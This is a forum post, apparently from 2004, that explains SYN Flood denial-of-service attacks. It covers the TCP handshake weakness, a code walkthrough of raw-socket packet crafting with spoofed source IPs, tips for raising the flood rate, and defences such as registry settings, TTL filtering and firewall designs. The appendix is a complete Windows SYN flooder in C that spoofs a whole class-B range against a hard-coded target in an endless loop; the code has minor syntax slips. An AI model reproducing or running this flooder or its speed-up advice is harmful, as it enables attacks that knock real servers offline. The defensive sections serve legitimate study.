史萊姆論壇

返回   史萊姆論壇 > 教學文件資料庫 > Hacker/Cracker 及加解密技術文件
忘記密碼?
論壇說明 標記討論區已讀

歡迎您來到『史萊姆論壇』 ^___^

您目前正以訪客的身份瀏覽本論壇,訪客所擁有的權限將受到限制,您可以瀏覽本論壇大部份的版區與文章,但您將無法參與任何討論或是使用私人訊息與其他會員交流。若您希望擁有完整的使用權限,請註冊成為我們的一份子,註冊的程序十分簡單、快速,而且最重要的是--註冊是完全免費的!

請點擊這裡:『註冊成為我們的一份子!』

Google 提供的廣告


 
 
主題工具 顯示模式
舊 2004-01-09, 09:26 PM   #1
psac
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設 SYN Flood攻擊的基本原理及防禦

一部分 SYN Flood的基本原理



SYN Flood是當前最流行的DoS(拒絕服務攻擊)與DDoS(分佈式拒絕服務攻擊)的方式之一,這是一種利用TCP傳輸協定缺陷,傳送大量偽造的TCP連接請求,從而使得被攻擊方資源耗盡(CPU滿負荷或記憶體不足)的攻擊方式。



要明白這種攻擊的基本原理,還是要從TCP連接建立的程序開始說起:

大家都知道,TCP與UDP不同,它是關於連接的,也就是說:為了在服務端和客戶端之間傳送TCP資料,必須先建立一個虛擬電路,也就是TCP連接,建立TCP連接的標準程序是這樣的:

首先,請求端(客戶端)傳送一個包含SYN標誌的TCP報文,SYN即同步(Synchronize),同步報文會指明客戶端使用的連接埠以及TCP連接的初始序號;

第二步,伺服器在收到客戶端的SYN報文後,將返回一個SYN+ACK的報文,表示客戶端的請求被接受,同時TCP序號被加一,ACK即驗證(Acknowledgement)。

第三步,客戶端也返回一個驗證報文ACK給伺服器端,同樣TCP序列號被加一,到此一個TCP連接完成。

以上的連接程序在TCP傳輸協定中被稱為三次握手(Three-way Handshake)。



問題就出在TCP連接的三次握手中,假設一個用戶向伺服器傳送了SYN報文後突然當機或掉線,那麼伺服器在發出SYN+ACK回應報文後是無法收到客戶端的ACK報文的(第三次握手無法完成),這種情況下伺服器端一般會重試(再次傳送SYN+ACK給客戶端)並等待一段時間後丟棄這個未完成的連接,這段時間的長度我們稱為SYN Timeout,一般來說這個時間是分鐘的數量級(大約為30秒-2分鐘);一個用戶出現異常導致伺服器的一個線程等待1分鐘並不是什麼很大的問題,但如果有一個惡意的攻擊者大量模擬這種情況,伺服器端將為了維護一個非常大的半連接列表而消耗非常多的資源----數以萬計的半連接,即使是簡單的儲存並遍歷也會消耗非常多的CPU時間和記憶體,何況還要不斷對這個列表中的IP進行SYN+ACK的重試。實際上如果伺服器的TCP/IP棧不夠強大,最後的結果往往是堆棧溢出崩潰---即使伺服器端的系統足夠強大,伺服器端也將忙於處理攻擊者偽造的TCP連接請求而無暇理睬客戶的正常請求(畢竟客戶端的正常請求比率非常之小),此時從正常客戶的角度看來,伺服器失去回應,這種情況我們稱作:伺服器端受到了SYN Flood攻擊(SYN洪水攻擊)。



從防禦角度來說,有幾種簡單的解決方法,第一種是縮短SYN Timeout時間,由於SYN Flood攻擊的效果取決於伺服器上保持的SYN半連接數,這個值=SYN攻擊的頻度 x SYN Timeout,所以通過縮短從接收到SYN報文到確定這個報文無效並丟棄改連接的時間,例如設定為20秒以下(過低的SYN Timeout設定可能會影響客戶的正常訪問),可以成倍的降低伺服器的負荷。



第二種方法是設定SYN Cookie,就是給每一個請求連接的IP位址分配一個Cookie,如果短時間內連續受到某個IP的重複SYN報文,就認定是受到了攻擊,以後從這個IP位址來的包會被一概丟棄。



可是上述的兩種方法只能對付比較原始的SYN Flood攻擊,縮短SYN Timeout時間僅在對方攻擊頻度不高的情況下生效,SYN Cookie更依賴於對方使用真實的IP位址,如果攻擊者以數萬/秒的速度傳送SYN報文,同時利用SOCK_RAW隨機改寫IP報文中的源位址,以上的方法將毫無用武之地。











第二部份 SYN Flooder源碼解讀



下面我們來分析SYN Flooder的程序實現。

首先,我們來看一下TCP報文的格式:



0 1 2 3 4 5 6

0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4 6 8 0 2 4

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| IP首部 | TCP首部 | TCP資料段   |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

圖一 TCP報文結構



如上圖所顯示,一個TCP報文由三個部分構成:20字元的IP首部、20字元的TCP首部與不定長的資料段,(實際操作時可能會有可選的IP選項,這種情況下TCP首部向後順延)由於我們只是傳送一個SYN信號,並不傳遞任何資料,所以TCP資料段為空。TCP首部的資料結構為:



0 1 2 3

0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| 十六位源連接埠號 | 十六位目標連接埠號 |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| 三十二位序列號 |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| 三十二位驗證號 |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| 四位 | |U|A|P|R|S|F| |

| 首部 |六位保留位 |R|C|S|S|Y|I| 十六位視窗大小 |

| 長度 | |G|K|H|T|N|N| |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| 十六位校驗和 | 十六位緊急游標 |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| 選項(若有) |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| 資料(若有) |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

圖二 TCP首部結構



根據TCP報文格式,我們定義一個結構TCP_HEADER用來存放TCP首部:

typedef struct _tcphdr

{

USHORT th_sport; //16位源連接埠

USHORT th_dport; //16位目的連接埠

unsigned int th_seq; //32位序列號

unsigned int th_ack; //32位驗證號

unsigned char th_lenres; //4位首部長度+6位保留字中的4位

unsigned char th_flag; //2位保留字+6位標誌位

USHORT th_win; //16位視窗大小

USHORT th_sum; //16位校驗和

USHORT th_urp; //16位緊急資料偏移量

}TCP_HEADER;



通過以正確的資料填充這個結構並將TCP_HEADER.th_flag賦值為2(二進制的00000010)我們能製造一個SYN的TCP報文,通過大量傳送這個報文可以實現SYN Flood的效果。但是為了進行IP欺騙從而隱藏自己,也為了躲避伺服器的SYN Cookie檢查,還需要直接對IP首部進行操作:

0 1 2 3

0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| 版本 | 長度 | 八位服務類型 | 十六位總長度 |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| 十六位標識 | 標誌| 十三位片偏移   |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| 八位生存時間 | 八位傳輸協定 | 十六位首部校驗和 |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| 三十二位源IP位址   |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| 三十二位目的IP位址 |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

| 選項(若有) |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

|   資料   |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

圖三 IP首部結構



同樣定義一個IP_HEADER來存放IP首部

typedef struct _iphdr

{

unsigned char h_verlen; //4位首部長度+4位IP版本號

unsigned char tos; //8位服務類型TOS

unsigned short total_len; //16位總長度(字元)

unsigned short ident; //16位標識

unsigned short frag_and_flags; //3位標誌位

unsigned char ttl; //8位生存時間 TTL

unsigned char proto; //8位傳輸協定號(TCP, UDP 或其他)

unsigned short checksum; //16位IP首部校驗和

unsigned int sourceIP; //32位源IP位址

unsigned int destIP; //32位目的IP位址

}IP_HEADER;



然後通過SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED));

建立一個原始套接頭,由於我們的IP源位址是偽造的,所以不能指望系統幫我們計算IP校驗和,我們得在在setsockopt中設定IP_HDRINCL告訴系統自己填充IP首部並自己計算校驗和:

flag=TRUE;

setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));



IP校驗和的計算方法是:首先將IP首部的校驗和字段設為0(IP_HEADER.checksum=0),然後計算整個IP首部(包括選項)的二進制反碼的和,一個標準的校驗和函數如下所顯示:

USHORT checksum(USHORT *buffer, int size)

{

unsigned long cksum=0;

while(size >1) {

cksum+=*buffer++;

size -=sizeof(USHORT);

}

if(size ) cksum += *(UCHAR*)buffer;

cksum = (cksum >> 16) + (cksum & 0xffff);

cksum += (cksum >>16);

return (USHORT)(~cksum);

}



這個函數並沒有經過任何的最佳化,由於校驗和函數是TCP/IP傳輸協定中被使用最多函數之一,所以一般說來,在實現TCP/IP棧時,會根據操作系統對校驗和函數進行最佳化。

TCP首部檢驗和與IP首部校驗和的計算方法相同,在程序中使用同一個函數來計算。



需要注意的是,由於TCP首部中不包含源位址與目標位址等信息,為了保證TCP校驗的有效性,在進行TCP校驗和的計算時,需要增加一個TCP偽首部的校驗和,定義如下:

struct

{

unsigned long saddr; //源位址

unsigned long daddr; //目的位址

char mbz; //置空

char ptcl; //傳輸協定類型

unsigned short tcpl; //TCP長度

}psd_header;

然後我們將這兩個字段複製到同一個緩衝區SendBuf中並計算TCP校驗和:

memcpy(SendBuf,&psd_header,sizeof(psd_header));

memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));

tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));

計算IP校驗和的時候不需要包括TCP偽首部:

memcpy(SendBuf,&ip_header,sizeof(ip_header));

memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));

ip_header.checksum=checksum((USHORT *)SendBuf, sizeof(ip_header)+sizeof(tcp_header));

再將計算過校驗和的IP首部與TCP首部複製到同一個緩衝區中就可以直接傳送了:

memcpy(SendBuf,&ip_header,sizeof(ip_header));

sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*) &DestAddr,sizeof(DestAddr));



因為整個TCP報文中的所有部分都是我們自己寫入的(操作系統不會做任何干涉),所以我們可以在IP首部中放置隨機的源IP位址,如果偽造的源IP位址確實有人使用,他在接收到伺服器的SYN+ACK報文後會傳送一個RST報文(標誌位為00000100),通知伺服器端不需要等待一個無效的連接,可是如果這個偽造IP並沒有綁定在任何的主機上,不會有任何設備去通知主機該連接是無效的(這正是TCP傳輸協定的缺陷),主機將不斷重試直到SYN Timeout時間後才能丟棄這個無效的半連接。所以當攻擊者使用主機分佈很稀疏的IP位址段進行偽裝IP的SYN Flood攻擊時,伺服器主機承受的負荷會相當的高,根據測試,一台PIII 550MHz+128MB+100Mbps的機器使用經過初步最佳化的SYN Flooder程序可以以16,000包/秒的速度傳送TCP SYN報文,這樣的攻擊力已經足以拖垮大部分WEB伺服器了。



稍微動動腦筋我們就會發現,想對SYN Flooder程序進行最佳化是很簡單的,從程序構架來看,攻擊時循環內的程式碼主要是進行校驗和計算與緩衝區的填充,一般的思路是提高校驗和計算的速度,我甚至見過用彙編程式碼編寫的校驗和函數,實際上,有另外一個變通的方法可以輕鬆實現最佳化而又不需要高深的編程技巧和數學知識,(老實說吧,我數學比較差:P),我們仔細研究了兩個不同源位址的TCP SYN報文後發現,兩個報文的大部分字段相同(比如目的位址、傳輸協定等等),只有源位址和校驗和不同(如果為了隱蔽,源連接埠也可以有變化,但是並不影響我們算法最佳化的思路),如果我們事先計算好大量的源位址與校驗和的對應關係表(如果其他的字段有變化也可以加入這個表),等計算完畢了攻擊程序就只需要單純的組合緩衝區並傳送(用游標來直接操作緩衝區的特定位置,從事先計算好的對應關係表中讀出資料,替換緩衝區相應字段),這種簡單的工作完全取決於系統傳送IP包的速度,與程序的效率沒有任何關係,這樣,即使是CPU主頻較低的主機也能快速的傳送大量TCP SYN攻擊包。如果考慮到緩衝區拼接的時間,甚至可以定義一個很大的緩衝區陣列,填充完畢後再傳送(雛鷹給這種方法想了一個很貼切的比喻:火箭炮裝彈雖然很慢,但是一旦炮彈上膛了以後就可以連續猛烈地發射了:)。





第三部分 SYN Flood攻擊的監測與防禦初探



對於SYN Flood攻擊,目前尚沒有很好的監測和防禦方法,不過如果系統管理員熟悉攻擊方法和系統架構,通過一系列的設定,也能從一定程度上降低被攻擊系統的負荷,減輕負面的影響。(這正是我撰寫本文的主要目的)



一般來說,如果一個系統(或主機)負荷突然升高甚至失去回應,使用Netstat 指令能看到大量SYN_RCVD的半連接(數量>500或占總連接數的10%以上),可以認定,這個系統(或主機)遭到了SYN Flood攻擊。



遭到SYN Flood攻擊後,首先要做的是取證,通過Netstat –n –p tcp >resault.txt記錄目前所有TCP連接狀態是必要的,如果有嗅探器,或者TcpDump之類的工具,記錄TCP SYN報文的所有細節也有助於以後追查和防禦,需要記錄的字段有:源位址、IP首部中的標識、TCP首部中的序列號、TTL值等,這些信息雖然很可能是攻擊者偽造的,但是用來分析攻擊者的心理狀態和攻擊程序也不無說明 。特別是TTL值,如果大量的攻擊包似乎來自不同的IP但是TTL值卻相同,我們往往能推斷出攻擊者與我們之間的路由器距離,至少也可以通過過濾特定TTL值的報文降低被攻擊系統的負荷(在這種情況下TTL值與攻擊報文不同的用戶就可以恢復正常訪問)



前面曾經提到可以通過縮短SYN Timeout時間和設定SYN Cookie來進行SYN攻擊保護,對於Win2000系統,還可以通過修改註冊表降低SYN Flood的危害,在註冊表中作如下改動:



首先,開啟regedit,找到HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters



增加一個SynAttackProtect的鍵值,類型為REG_DWORD,取值範圍是0-2,這個值決定了系統受到SYN攻擊時採取的保護措施,包括減少系統SYN+ACK的重試的次數等,預設值是0(沒有任何保護措施),推薦設定是2;



增加一個TcpMaxHalfOpen的鍵值,類型為REG_DWORD,取值範圍是100-0xFFFF,這個值是系統允許同時開啟的半連接,預設情況下WIN2K PRO和SERVER是100,ADVANCED SERVER是500,這個值很難確定,取決於伺服器TCP負荷的狀況和可能受到的攻擊強度,直接的值需要經過試驗才能決定。



增加一個TcpMaxHalfOpenRetried的鍵值,類型為REG_DWORD,取值範圍是80-0xFFFF,預設情況下WIN2K PRO和SERVER是80,ADVANCED SERVER是400,這個值決定了在什麼情況下系統會開啟SYN攻擊保護。



我們來分析一下Win2000的SYN攻擊保護機制:正常情況下,Win2K對TCP連接的三次握手有一個一般的設定,包括SYN Timeout時間、SYN-ACK的重試次數和SYN報文從路由器到系統再到Winsock的延時等,這個一般設定是針對系統效能進行最佳化的(安全和效能往往相互矛盾)所以可以給用戶提供方便快捷的服務;一旦伺服器受到攻擊,SYN半連接的數量超過TcpMaxHalfOpenRetried的設定,系統會認為自己受到了SYN Flood攻擊,此時設定在SynAttackProtect鍵值中的選項開始作用,SYN Timeout時間被減短,SYN-ACK的重試次數減少,系統也會自動對緩衝區中的報文進行延時,避免對TCP/IP堆棧造成過大的衝擊,力圖將攻擊危害減到最低;如果攻擊強度不斷增大,超過了TcpMaxHalfOpen值,此時系統已經不能提供正常的服務了,更重要的是保證系統不會崩潰,所以系統將會丟棄任何超出TcpMaxHalfOpen值範圍的SYN報文(應該是使用隨機丟包原則),保證系統的穩定性。



所以,對於需要進行SYN攻擊保護的系統,我們可以測試/預測一下訪問峰值時期的半連接開啟量,以其作為參考設定TcpMaxHalfOpenRetried的值(保留一定的余量),然後再以TcpMaxHalfOpenRetried的1.25倍作為TcpMaxHalfOpen值,這樣可以最大限度地發揮WIN2K自身的SYN攻擊保護機制。



通過設定註冊表防禦SYN Flood攻擊,採用的是「挨打」的原則,無論系統如何強大,始終不能光靠挨打支撐下去,除了挨打之外,「退讓」也是一種比較有效的方法。



退讓原則是關於SYN Flood攻擊程式碼的一個缺陷,我們重新來分析一下SYN Flood攻擊者的流程:SYN Flood程序有兩種攻擊方式,關於IP的和關於域名的,前者是攻擊者自己進行域名解析並將IP位址傳遞給攻擊程序,後者是攻擊程序自動進行域名解析,但是它們有一點是相同的,就是一旦攻擊開始,將不會再進去行域名解析,我們的切入點正是這裡:假設一台伺服器在受到SYN Flood攻擊後迅速更換自己的IP位址,那麼攻擊者仍在不斷攻擊的只是一個空的IP位址,並沒有任何主機,而防禦方只要將DNS解析更改到新的IP位址就能在很短的時間內(取決於DNS的重新整理時間)恢復用戶通過域名進行的正常訪問。為了迷惑攻擊者,我們甚至可以放置一台「犧牲」伺服器讓攻擊者滿足於攻擊的「效果」(由於DNS緩衝的原因,只要攻擊者的瀏覽器不重新啟動,他訪問的仍然是原先的IP位址)。



同樣的原因,在眾多的負載平衡架構中,關於DNS解析的負載平衡本身就擁有對SYN Flood的免疫力,關於DNS解析的負載平衡能將用戶的請求分配到不同IP的伺服器主機上,攻擊者攻擊的永遠只是其中一台伺服器,雖然說攻擊者也能不斷去進行DNS請求從而打破這種「退讓」原則,但是一來這樣增加了攻擊者的成本,二來過多的DNS請求可以說明 我們追查攻擊者的真正蹤跡(DNS請求不同於SYN攻擊,是需要返回資料的,所以很難進行IP偽裝)。



對於防火牆來說,防禦SYN Flood攻擊的方法取決於防火牆工作的基本原理,一般說來,防火牆可以工作在TCP層之上或IP層之下,工作在TCP層之上的防火牆稱為網關型防火牆,網關型防火牆與伺服器、客戶端機之間的關係如下圖所顯示:



外部TCP連接 內部TCP連接

[客戶端機] =================>[防火牆] =================>[伺服器]



如上圖所顯示,客戶端機與伺服器之間並沒有真正的TCP連接,客戶端機與伺服器之間的所有資料交換都是通過防火牆代理的,外部的DNS解析也同樣指向防火牆,所以如果網站被攻擊,真正受到攻擊的是防火牆,這種防火牆的優點是穩定性好,抗打擊能力強,但是因為所有的TCP報文都需要經過防火牆轉發,所以效率比較低由於客戶端機並不直接與伺服器建立連接,在TCP連接沒有完成時防火牆不會去向後台的伺服器建立新的TCP連接,所以攻擊者無法越過防火牆直接攻擊後台伺服器,只要防火牆本身做的足夠強壯,這種架構可以抵抗相當強度的SYN Flood攻擊。但是由於防火牆實際建立的TCP連接數為用戶連接數的兩倍(防火牆兩端都需要建立TCP連接),同時又代理了所有的來自客戶端的TCP請求和資料傳送,在系統訪問量較大時,防火牆自身的負荷會比較高,所以這種架構並不能適用於大型網站。(我感覺,對於這樣的防火牆架構,使用TCP_STATE攻擊估計會相當有效:)



工作在IP層或IP層之下的防火牆(路由型防火牆)工作原理有所不同,它與伺服器、客戶端機的關係如下圖所顯示:



[防火牆] 資料包修改轉發

[客戶端機]========|=======================>[伺服器]

TCP連接



客戶端機直接與伺服器進行TCP連接,防火牆起的是路由器的作用,它截獲所有通過的包並進行過濾,通過過濾的包被轉發給伺服器,外部的DNS解析也直接指向伺服器,這種防火牆的優點是效率高,可以適應100Mbps-1Gbps的流量,但是這種防火牆如果配置不當,不僅可以讓攻擊者越過防火牆直接攻擊內部伺服器,甚至有可能放大攻擊的強度,導致整個系統崩潰。



在這兩種基本模型之外,有一種新的防火牆模型,我個人認為還是比較巧妙的,它集中了兩種防火牆的優勢,這種防火牆的工作原理如下所顯示:



第一階段,客戶端機請求與防火牆建立連接:

SYN SYN+ACK ACK

[客戶端機]---- >[防火牆] => [防火牆]-------- >[客戶端機] => [客戶端機]--- >[防火牆]



第二階段,防火牆偽裝成客戶端機與後台的伺服器建立連接

[防火牆]< =========== >[伺服器]

TCP連接



第三階段,之後所有從客戶端機來的TCP報文防火牆都直接轉發給後台的伺服器

防火牆轉發

[客戶端機]< ======|======= >[伺服器]

TCP連接

這種結構吸取了上兩種防火牆的優點,既能完全控制所有的SYN報文,又不需要對所有的TCP資料報文進行代理,是一種兩全其美的方法。



近來,國外和國內的一些防火牆廠商開始研究帶寬控制技術,如果能真正做到嚴格控制、分配帶寬,就能很大程度上防禦絕大多數的拒絕服務攻擊,我們還是拭目以待吧。



附錄:Win2000下的SYN Flood程序

改編自Linux下Zakath編寫的SYN Flooder

編譯環境:VC++6.0,編譯時需要包含ws2_32.lib

//////////////////////////////////////////////////////////////////////////

// //

// SYN Flooder For Win2K by Shotgun //

// //

// THIS PROGRAM IS MODIFIED FROM A LINUX VERSION BY Zakath //

// THANX Lion Hook FOR PROGRAM OPTIMIZATION //

// //

// Released: [2001.4] //

// Author: [Shotgun] //

// Homepage: //

// http://IT.Xici.Net] //

// http://WWW.Patching.Net] //

// //

//////////////////////////////////////////////////////////////////////////

#include <winsock2.h>

#include <Ws2tcpip.h>

#include <stdio.h>

#include <stdlib.h>

#define SEQ 0x28376839

#define SYN_DEST_IP "192.168.15.250"//被攻擊的IP

#define FAKE_IP "10.168.150.1" //偽裝IP的起始值,本程序的偽裝IP覆蓋一個B類網段

#define STATUS_FAILED 0xFFFF //錯誤返回值


typedef struct _iphdr //定義IP首部

{

unsigned char h_verlen; //4位首部長度,4位IP版本號

unsigned char tos; //8位服務類型TOS

unsigned short total_len; //16位總長度(字元)

unsigned short ident; //16位標識

unsigned short frag_and_flags; //3位標誌位

unsigned char ttl; //8位生存時間 TTL

unsigned char proto; //8位傳輸協定 (TCP, UDP 或其他)

unsigned short checksum; //16位IP首部校驗和

unsigned int sourceIP; //32位源IP位址

unsigned int destIP; //32位目的IP位址

}IP_HEADER;


struct //定義TCP偽首部

{

unsigned long saddr; //源位址

unsigned long daddr; //目的位址

char mbz;

char ptcl; //傳輸協定類型

unsigned short tcpl; //TCP長度

}psd_header;


typedef struct _tcphdr //定義TCP首部

{

USHORT th_sport; //16位源連接埠

USHORT th_dport; //16位目的連接埠

unsigned int th_seq; //32位序列號

unsigned int th_ack; //32位驗證號

unsigned char th_lenres; //4位首部長度/6位保留字

unsigned char th_flag; //6位標誌位

USHORT th_win; //16位視窗大小

USHORT th_sum; //16位校驗和

USHORT th_urp; //16位緊急資料偏移量

}TCP_HEADER;


//CheckSum:計算校驗和的子函數

USHORT checksum(USHORT *buffer, int size)

{

unsigned long cksum=0;

while(size >1) {

cksum+=*buffer++;

size -=sizeof(USHORT);

}

if(size ) {

cksum += *(UCHAR*)buffer;

}

cksum = (cksum >> 16) + (cksum & 0xffff);

cksum += (cksum >>16);

return (USHORT)(~cksum);

}


// SynFlood主函數

int main()

{

int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost;

int TimeOut=2000,SendSEQ=0;

char SendBuf[128]={0};

char RecvBuf[65535]={0};

WSADATA wsaData;

SOCKET SockRaw=(SOCKET)NULL;

struct sockaddr_in DestAddr;

IP_HEADER ip_header;

TCP_HEADER tcp_header;

//啟始化SOCK_RAW

if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){

fprintf(stderr,"WSAStartup failed: %d\n",ErrorCode);

ExitProcess(STATUS_FAILED);

}

SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED));

if (SockRaw==INVALID_SOCKET){

fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError());

ExitProcess(STATUS_FAILED);

}

flag=TRUE;

//設定IP_HDRINCL以自己填充IP首部

ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));

If (ErrorCode==SOCKET_ERROR) printf("Set IP_HDRINCL Error!\n");

__try{

//設定傳送超時

ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));

if(ErrorCode==SOCKET_ERROR){

fprintf(stderr,"Failed to set send TimeOut: %d\n",WSAGetLastError());

__leave;

}

memset(&DestAddr,0,sizeof(DestAddr));

DestAddr.sin_family=AF_INET;

DestAddr.sin_addr.s_addr=inet_addr(SYN_DEST_IP);

FakeIpNet=inet_addr(FAKE_IP);

FakeIpHost=ntohl(FakeIpNet);

//填充IP首部

ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long));

//高四位IP版本號,低四位首部長度

ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); //16位總長度(字元)

ip_header.ident=1; //16位標識

ip_header.frag_and_flags=0; //3位標誌位

ip_header.ttl=128; //8位生存時間TTL

ip_header.proto=IPPROTO_TCP; //8位傳輸協定(TCP,UDP…)

ip_header.checksum=0; //16位IP首部校驗和

ip_header.sourceIP=htonl(FakeIpHost+SendSEQ); //32位源IP位址

ip_header.destIP=inet_addr(SYN_DEST_IP); //32位目的IP位址

//填充TCP首部

tcp_header.th_sport=htons(7000); //源連接埠號

tcp_header.th_dport=htons(8080); //目的連接埠號

tcp_header.th_seq=htonl(SEQ+SendSEQ); //SYN序列號

tcp_header.th_ack=0; //ACK序列號置為0

tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0); //TCP長度和保留位

tcp_header.th_flag=2; //SYN 標誌

tcp_header.th_win=htons(16384); //視窗大小

tcp_header.th_urp=0; //偏移

tcp_header.th_sum=0; //校驗和

//填充TCP偽首部(用於計算校驗和,並不真正傳送)

psd_header.saddr=ip_header.sourceIP; //源位址

psd_header.daddr=ip_header.destIP; //目的位址

psd_header.mbz=0;

psd_header.ptcl=IPPROTO_TCP; //傳輸協定類型

psd_header.tcpl=htons(sizeof(tcp_header)); //TCP首部長度

while(1) {

//每傳送10,240個報文輸出一個標示符

printf(".");

for(counter=0;counter<10240;counter++){

if(SendSEQ++==65536) SendSEQ=1; //序列號循環

//更改IP首部

ip_header.checksum=0; //16位IP首部校驗和

ip_header.sourceIP=htonl(FakeIpHost+SendSEQ); //32位源IP位址

//更改TCP首部

tcp_header.th_seq=htonl(SEQ+SendSEQ); //SYN序列號

tcp_header.th_sum=0; //校驗和

//更改TCP Pseudo Header

psd_header.saddr=ip_header.sourceIP;

//計算TCP校驗和,計算校驗和時需要包括TCP pseudo header

memcpy(SendBuf,&psd_header,sizeof(psd_header));

memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));

tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));

//計算IP校驗和

memcpy(SendBuf,&ip_header,sizeof(ip_header));

memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));

memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4);

datasize=sizeof(ip_header)+sizeof(tcp_header);

ip_header.checksum=checksum((USHORT *)SendBuf,datasize);

//填充傳送緩衝區

memcpy(SendBuf,&ip_header,sizeof(ip_header));

//傳送TCP報文

ErrorCode=sendto(SockRaw,

SendBuf,

datasize,

0,

(struct sockaddr*) &DestAddr,

sizeof(DestAddr));

if (ErrorCode==SOCKET_ERROR) printf("\nSend Error:%d\n",GetLastError());

}//End of for

}//End of While

}//End of try

__finally {

if (SockRaw != INVALID_SOCKET) closesocket(SockRaw);

WSACleanup();

}

return 0;

}
psac 目前離線  
送花文章: 3, 收花文章: 1631 篇, 收花: 3205 次
 


主題工具
顯示模式

發表規則
不可以發文
不可以回覆主題
不可以上傳附加檔案
不可以編輯您的文章

論壇啟用 BB 語法
論壇啟用 表情符號
論壇啟用 [IMG] 語法
論壇禁用 HTML 語法
Trackbacks are 禁用
Pingbacks are 禁用
Refbacks are 禁用

相似的主題
主題 主題作者 討論區 回覆 最後發表
分佈式拒絕服務攻擊(DDoS)原理及防範 psac 資訊系統安全備援防護技術文件 0 2006-04-22 07:30 PM
Hack Proofing Your Network mic64 網路軟硬體架設技術文件 12 2004-06-21 03:28 PM
IP欺騙技術介紹 psac 網路軟硬體架設技術文件 2 2003-11-06 04:44 PM
如何把無聊人士抓出來(關於SYN攻擊) psac Hacker/Cracker 及加解密技術文件 0 2003-09-30 07:15 PM


所有時間均為台北時間。現在的時間是 01:31 AM


Powered by vBulletin® 版本 3.6.8
版權所有 ©2000 - 2024, Jelsoft Enterprises Ltd.


SEO by vBSEO 3.6.1